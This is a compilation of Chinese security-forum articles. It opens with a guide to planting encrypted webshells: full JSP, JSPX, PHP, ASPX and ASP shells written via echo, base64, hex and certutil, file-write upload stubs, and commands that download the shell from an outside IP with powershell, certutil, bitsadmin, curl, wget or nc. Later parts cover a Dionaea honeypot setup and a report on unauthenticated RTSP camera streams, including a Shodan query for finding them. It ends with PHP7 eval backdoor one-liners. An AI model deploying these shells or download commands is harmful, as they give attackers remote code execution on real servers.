echo '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>' > 111.jsp
**（2）jspx**
echo '<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>' > 111.jspx
**（3）php**
echo -e '<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION[\047k\047]=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded(\047openssl\047)){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode(\047|\047,$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?> ' > 111.php
**（4）aspx**
echo '<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>' > 111.aspx
**（5）asp**
echo -e '<%\nResponse.CharSet = "UTF-8" \nk="e45e329feb5d925b" \nSession("k")=k\nsize=Request.TotalBytes\ncontent=Request.BinaryRead(size)\nFor i=1 To size\nresult=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))\nNext\nexecute(result)\n%>' > 111.asp
### 2.转换法
转换法，懂得都懂。
**（a）Windows**
在windows中转换方法，是通过certutil进行转换。下面是base64以及hex的转换方式，没有列出冰蝎各语言shell，表哥们自己整理吧。
**（1）certutil-Base64**
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= > 111.txt
certutil -f -decode 111.txt C:\\111.jsp
**（2）certutil-Hex**
echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e > 111.txt
certutil -decodehex 111.txt C:\\111.jsp
**（b）Linux**
和windows不同，linux在途中就已经转换完毕，落地文件已经成为shell。大部分玩家都是懒得转义shell中的字符，而使用下面的方法。主要也是分base64以及hex两种。
**（1）jsp**
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= |base64 -d > 111.jsp
echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e|xxd -r -ps > 111.jsp
**（2）jspx**
echo PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5TdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7PC9qc3A6c2NyaXB0bGV0PjwvanNwOnJvb3Q+|base64 -d > 111.jsp
echo 3c6a73703a726f6f7420786d6c6e733a6a73703d22687474703a2f2f6a6176612e73756e2e636f6d2f4a53502f50616765222076657273696f6e3d22312e32223e3c6a73703a6469726563746976652e7061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a222f3e3c6a73703a6465636c61726174696f6e3e20636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d3c2f6a73703a6465636c61726174696f6e3e3c6a73703a7363726970746c65743e537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563282873657373696f6e2e67657456616c756528227522292b2222292e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b3c2f6a73703a7363726970746c65743e3c2f6a73703a726f6f743e|xxd -r -ps > 111.jspx
**（3）php**
echo PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTtzZXNzaW9uX3N0YXJ0KCk7JGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7JF9TRVNTSU9OWydrJ109JGtleTtzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7JHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7aWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSl7JHQ9ImJhc2U2NF8iLiJkZWNvZGUiOyRwb3N0PSR0KCRwb3N0LiIiKTtmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHskcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgfX1lbHNleyRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpO30kYXJyPWV4cGxvZGUoJ3wnLCRwb3N0KTskZnVuYz0kYXJyWzBdOyRwYXJhbXM9JGFyclsxXTtjbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319QGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Pz4K|base64 -d > 111.php
echo 3c3f70687020406572726f725f7265706f7274696e672830293b73657373696f6e5f737461727428293b246b65793d2265343565333239666562356439323562223b245f53455353494f4e5b276b275d3d246b65793b73657373696f6e5f77726974655f636c6f736528293b24706f73743d66696c655f6765745f636f6e74656e747328227068703a2f2f696e70757422293b69662821657874656e73696f6e5f6c6f6164656428276f70656e73736c2729297b24743d226261736536345f222e226465636f6465223b24706f73743d24742824706f73742e2222293b666f722824693d303b24693c7374726c656e2824706f7374293b24692b2b29207b24706f73745b24695d203d2024706f73745b24695d5e246b65795b24692b312631355d3b207d7d656c73657b24706f73743d6f70656e73736c5f646563727970742824706f73742c2022414553313238222c20246b6579293b7d246172723d6578706c6f646528277c272c24706f7374293b2466756e633d246172725b305d3b24706172616d733d246172725b315d3b636c61737320437b7075626c69632066756e6374696f6e205f5f696e766f6b6528247029207b6576616c2824702e2222293b7d7d4063616c6c5f757365725f66756e63286e6577204328292c24706172616d73293b3f3ea|xxd -r -ps > 111.php
**（4）aspx**
echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiAlPjwlQEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5SZWZsZWN0aW9uIiU+PCVTZXNzaW9uLkFkZCgiayIsImU0NWUzMjlmZWI1ZDkyNWIiKTtieXRlW10gayA9IEVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoU2Vzc2lvblswXSArICIiKSxjID0gUmVxdWVzdC5CaW5hcnlSZWFkKFJlcXVlc3QuQ29udGVudExlbmd0aCk7QXNzZW1ibHkuTG9hZChuZXcgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5SaWpuZGFlbE1hbmFnZWQoKS5DcmVhdGVEZWNyeXB0b3IoaywgaykuVHJhbnNmb3JtRmluYWxCbG9jayhjLCAwLCBjLkxlbmd0aCkpLkNyZWF0ZUluc3RhbmNlKCJVIikuRXF1YWxzKHRoaXMpOyU+|base64 -d > 111.aspx
echo 3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e|xxd -r -ps > 111.aspx
**（5）asp**
echo PCUKUmVzcG9uc2UuQ2hhclNldCA9ICJVVEYtOCIgCms9ImU0NWUzMjlmZWI1ZDkyNWIiClNlc3Npb24oImsiKT1rCnNpemU9UmVxdWVzdC5Ub3RhbEJ5dGVzCmNvbnRlbnQ9UmVxdWVzdC5CaW5hcnlSZWFkKHNpemUpCkZvciBpPTEgVG8gc2l6ZQpyZXN1bHQ9cmVzdWx0JkNocihhc2NiKG1pZGIoY29udGVudCxpLDEpKSBYb3IgQXNjKE1pZChrLChpIGFuZCAxNSkrMSwxKSkpCk5leHQKZXhlY3V0ZShyZXN1bHQpCiU+|base64 -d > 111.asp
### 3.二次法
对于二次法，就是先传一个文件上传的小“shell”,然后通过指定方式进行上传其他文件。有一个好处就是，它本身不是木马病毒，就是一个写入文件的功能脚本，所以一般杀毒不会杀，这样我们就可以随意上传了。
**（a）JSP**
GET类型
**（1）god.jsp内容 （先遣部队）**
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
**（2）写jsp shell**
get类型写shell需要注意url编码。
http://ip/god.jsp?f=111.jsp&t=<%25@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%25><%25!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%25><%25if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%25>
**（3）写jspx shell**
http://ip/god.jsp?f=111.jspx&t=<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")%2B"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
POST类型
<%@ page language=”java” pageEncoding=”gbk”%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter(“act”);if(method!=null&&method.equals(“yoco”)){String url=request.getParameter(“url”);String text=request.getParameter(“smart”);File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
error
<%}}if(i==0){%>
ok
<%}%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>
<textarea rows="20" cols="80" name="smart">
**（b）PHP**
GET类型
**（1）god.php内容 （先遣部队）**
<?php fwrite(fopen($_GET['filename'], "w"), $_GET['content']);?>
**（2）写php shell**
http://host/god.php?filename=111.php&content=<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i%2B%2B) {$post[$i] = $post[$i]^$key[$i%2B1%2615]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?>
POST类型
<form method="post" enctype="multipart/form-data">Filename:<br /><input type="text" name="filename"><br />Content:<br /><textarea rows="20" cols="80" name="content"><?php fwrite(fopen($_POST['filename'], "w"), $_POST['content']);?>
**（c）ASPX**
对于aspx来说，此功能可能比较鸡肋，因为aspx写文件需要一定权限。
GET类型
**（1）god.aspx内容 （先遣部队）**
<%@ Page Language="C#" %><% System.IO.File.WriteAllText(System.AppDomain.CurrentDomain.BaseDirectory+"\\"+Request.QueryString["filename"], Request.QueryString["content"]);%>
**（2）写aspx shell**
http://host/god.aspx?filename=god.aspx&content=<%@ Page Language="C%23" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] %2B ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
### 4.远程下载法
远程下载法，常用于，可以通外网的战法。这里只总结了部分。像ftp之类的没有总结。
**（a）Windows**
**（1）powershell**
powershell (new-object System.Net.WebClient).DownloadFile('http://101.32.185.60:8080/111.jsp','C:\\Windows\\2.jsp')
**（2）certutil**
certutil -urlcache -split -f http://101.32.185.60:8080/111.jsp C:\\Windows\\3.jsp
**（3）bitsadmin**
bitsadmin /transfer n http://101.32.185.60:8080/111.jsp C:\\Windows\\1.jsp
**（4）vbs**
echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Set aGet = CreateObject("ADODB.Stream"):Post.Open "GET","http://101.32.185.60:8080/111.jsp",0:Post.Send():aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "C:\333.jsp",2 > 111.vbs&111.vbs
**（b）Linux**
**（1）curl**
curl http://101.32.185.60:8080/111.jsp -o /root/3.jsp
**（2）wget**
wget http://101.32.185.60:8080/111.jsp -o /root/3.jsp
**（3）nc**
nc -l 9992 <111.jsp #vps执行
nc 101.32.185.60 9992 >222.jsp #目标机器执行
## 总结
一起研究，共同进步。
大佬轻喷。
参考链接：
<https://www.freebuf.com/articles/web/201013.html>
<https://wiki.silic.wiki/%E5%B7%A5%E5%85%B7%E5%88%86%E4%BA%AB:%E8%B6%85%E7%B2%BE%E7%AE%80jsp%E4%B8%8A%E4%BC%A0%E5%B0%8F%E9%A9%AC> | 社区文章 |
# 通过部署蜜罐捕捉0DAY(第一部分)
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://null-byte.wonderhowto.com/how-to/hack-like-pro-capturing-zero-day-exploits-wild-with-dionaea-honeypot-part-1-0165708/>
译文仅供参考，具体内容表达以及含义原文为准。
欢迎回来，黑客新手们!
任何一个黑客追逐的目标基本都是开发出杀毒软件、软件开发者、入侵检测系统开发者从未发现[0day漏洞利用模块](http://null-byte.wonderhowto.com/inspiration/zero-day-exploits-are-bought-sold-0159611/)，这样，你就能够毫无顾忌地通过自己发现的漏洞渗透进入系统。
获得0day漏洞有两种方法:自己开发或捕获别人开发好的。
自己开发的话需要经过漫长单调无味的过程，同时也需要具备一定的fuzzing、shellcode编写等技能，这个过程大多都需要多人相互协作多日才能完成，网络犯罪组织和间谍政府开发利用一个0day漏洞模块通常会花费百万美金，很少出现个人通过很少的努力就成功开发出来，特别是针对遗留系统（旧版本的系统）。（[0day漏洞攻击起初是两年前](http://null-byte.wonderhowto.com/how-to/hackers-stole-your-credit-card-data-cyber-attack-target-stores-0150576/)由俄罗斯一个17岁少年黑客开发出并针对销售点仍然在使用的Windows XP）。
另一种方法是通过捕获别人已经开发出来并重复使用的。还记得当[Hacking Team被黑之后其漏洞模块泄露](http://null-byte.wonderhowto.com/how-to/hack-like-pro-use-hacking-teams-adobe-flash-exploit-0163051/)的事么？这种方法已经被杀毒研发工程师和法医调查员以及在某些情况下黑客所使用了。
在[这一系列](http://null-byte.wonderhowto.com/how-to/dionaea/)的文章中我们所需要做的是安全和配置一个看起来漏洞百出并具有真实性。然后我们静静地等待它吸引攻击者入侵进来然后在他们成功通过漏洞进入系统时捕获其所使用的恶意软件和利用模块。
倘若我们是一名[法医调查人员](http://null-byte.wonderhowto.com/how-to/forensics/)，我们随后就能分析恶意软件并开发出防御方案或恶意软件（模块）签名。倘若我们是一个黑客，我们可能就能够在其他系统上再次使用捕获到的恶意软件。在一些情况下，我们需要重新设计恶意软件来作为其他用途，这比从头设计快得多，也更加有效。最关键的还是要捕获到恶意软件或模块。
**Dionaea**
Dionaea是由Markus Koetter
开发出交互能力相对较低的蜜罐，它通过模拟一台安装有攻击者通常所针对的HTTP、FTP、SSH、SMB等具有漏洞服务的Windows系统。其由C语言编写而成，但使用Python来模拟不同的协议来引诱攻击者。
Dionaea是以一种机智的[肉食捕蝇草](https://en.wikipedia.org/wiki/Venus_flytrap)所命名的，其名字的象征性显而易见。
也许最重要的是它使用Libemu（一款用C语言实现的基于x86的shellcode检测的库）来检测和捕获Shellcode，并警告提示我们所捕获到的shellcode。Dionaea会即时通过XMPP发送给我们攻击提示然后将日志写入到数据库中。
**Libemu**
Libemu是一款基于C语言的模拟x86和shellcode检测库，其在蜜罐中表现完美。它能够将恶意软件离线拖出蜜罐并通过其内置文档为我们分析启发式恶意行为提供帮助。
这是一种具有比较先进的技术的蜜罐，本不该由初学者使用。另外，我不建议大家在有其他用途的系统上使用这种蜜罐，因为我们所安装的库和其他代码可能会使得我们系统中部分功能无法使用。
同时，Dionaea呈现出漏洞性，这意味着如果漏洞具有损害性质的话，你整个系统可能都会被损害。所以你应该全新安装该蜜罐，比如在Debian或者Ubuntu系统上。以下是在Ubuntu
14.04上如何全新安装该蜜罐。
**第一步：安装依赖**
Dionaea是一个复杂的软件，同时也需要依赖于许多Ubuntu或者其他Debian通常的发行版本中所没有库和模块。因此，我们在安装和配置之前需要安装好依赖。这个过程会比较费时乏味。
首先，我们需要下载并安装以下安装包：
ubuntu >
apt-get install libudns-dev libglib2.0-dev libssl-dev libcurl4-openssl-dev libreadline-dev libsqlite3-dev python-dev libtool automake autoconf build-essential subversion git-core flex bison pkg-config libnl-3-dev libnl-genl-3-dev libnl-nf-3-dev libnl-route-3-dev sqlite3
幸运的是，Andrew Michael Smith 已经为我们写了一键安装包。我们可以通过wget方式从Github下载下来:
wget –q https://raw.github.com/andrewmichaelsmith/honeypot-setup-script/master/setup.bash-O /tmp/setup.bash && bash /tmp/setup.bash
该安装脚本会帮助我们下载需要的依赖和应用（[p0f](http://null-byte.wonderhowto.com/how-to/hack-like-pro-use-new-p0f-3-0-for-os-fingerprinting-forensics-0151703/),SQLite等），然后安装并配置好Dionaea。
这一步需要耐心等待一段时间
**第二步：选择接口**
在现在所有的应用和依赖后，Dionaea将会开始自己配置并询问你希望蜜罐监听的接口。这里，我选择eth0，你的接口也许不一定是这个，依据自身需要而定。
最后，下载安装成功完成后会显示如下（p0f和Dionaea已经开启）：
**第三步：测试安装**
以上步骤都完成之后，我们可以通过以下命令行来测试Dionaea是否正确安装成功:
ubuntu > dionaea -help
如果你的屏幕上也是如上所示，那么恭喜你已经成功安装了Dionaea!
**配置Dionaea**
现在我们的蜜罐已经开启并运行了。在[后续的教程](http://null-byte.wonderhowto.com/how-to/dionaea/)中，我会向大家展示如何在即时攻击中让蜜罐警告提示，如何识别攻击者的OS、IP、所使用的浏览器、接口，以及捕获攻击和分析所使用的shellcode。
另外，我们需要在将其上线之前使用[Metasploit](http://null-byte.wonderhowto.com/how-to/metasploit-basics/)和其他攻击工具来测试蜜罐是否能够捕获恶意软件，后续教程，敬请期待！ | 社区文章 |
# 摄像头RTSP服务未授权访问统计报告
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
网络摄像机作为安防设备，被广泛的用于交通、学校、企业、商场等公共场所。网络摄像机为方便管理员远程监控，一般会有公网IP（或端口映射），接入互联网。因此许多暴露在公网的网络摄像机也成了黑客眼中的目标。
在去年年初国内某知名摄像头厂商因被曝漏洞而遭遇“黑天鹅”后，网络摄像机的安全风险开始被公众所认识。去年一年国内多款摄像头也接二连三的被爆出存在安全漏洞。
近日，国外多篇关于通过RTSP未授权访问来获取摄像头内容的报道引起了我们的关注，360攻防实验室对其进行了研究统计。
**
**
**关于RTSP协议**
RTSP（Real Time Streaming
Protocol），实时流传输协议，是TCP/IP协议体系中的一个应用层协议，该协议定义了一对多应用程序如何有效地通过IP网络传送多媒体数据，被广泛用于视频直播领域。RTSP协议的默认端口是554，默认的承载协议为TCP。
rtsp地址格式为：rtsp://[username]:[password]@[ip]:[port]/[codec]/[channel]/[subtype]/av_stream
**
**
**漏洞分析**
为方便用户远程监控摄像头内容，许多摄像头厂商会在摄像头或NVR中开启RTSP服务器，用户可通过VLC等视频播放软件打开rtsp地址进行摄像头画面的实时查看。
但是由于设计上考虑不周，许多厂商并没有给rtsp地址做身份认证，导致任何人都可以在未经授权的情况下直接通过地址观看到摄像头的实时内容。
在shadon搜索port:554 has_screenshot:true，我们可以看到有大量的摄像头存在此类安全问题。
其中有公共场所：
有办公场所：
甚至还有客厅、卧室等私人场所
**
**
**漏洞统计**
360攻防实验室针对该安全问题对全网进行了扫描统计，发现公网可访问的RTSP服务器（554端口）有131万，无需认证可直接获取到视频内容的为45488个。
排名前十的国家和地区如下：
值得一提的是，在中国的18230个无需认证的即可访问的RTSP服务中，有11227个是位于我国台湾地区的，由此可见台湾是受影响最大的地区。
**
**
**安全建议**
对于开启了RTSP服务的摄像头，用户可自行检查在连接RTSP服务器时是否需要身份认证信息。对于无需认证即可连接的摄像头请不要将其暴露在公网上，并做相关的访问策略。
及时升级固件，修复摄像头存在的漏洞。 | 社区文章 |
**作者：温酒
来源：[Freebuf](https://www.freebuf.com/articles/web/197013.html "Freebuf")**
### 前言
之前测试的时候发现很多菜刀的马都不能用了，大马也几乎3/4不能正常在php7运行。网上百度也没有找到太多相关性的文章，就自己总结测试了一下关于安全性上的区别。
### 函数修改
#### preg_replace()不再支持/e修饰符
<?php
preg_replace("/.*/e",$_GET["h"],".");
?>
利用`\e`修饰符执行代码的后门大家也用了不少了，具体看官方的这段[描述](http://php.net/manual/zh/reference.pcre.pattern.modifiers.php):
> 如果设置了这个被弃用的修饰符， preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php
> 代码评估执行(eval 函数方式)，并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在
> 后向引用替换时会被用反斜线转义.
很不幸，在PHP7以上版本不在支持`\e`修饰符，同时官方给了我们一个新的函数`preg_replace_callback`：
这里我们稍微改动一下就可以利用它当我们的后门：
<?php
preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);
?>
#### create_function()被废弃
<?php
$func =create_function('',$_POST['cmd']);$func();
?>
少了一种可以利用当后门的函数，实际上它是通过执行`eval`实现的。可有可无。
#### mysql_*系列全员移除
如果你要在PHP7上面用老版本的mysql_*系列函数需要你自己去额外装了，官方不在自带，现在官方推荐的是mysqli或者pdo_mysql。这是否预示着未来SQL注入漏洞在PHP上的大幅减少呢~
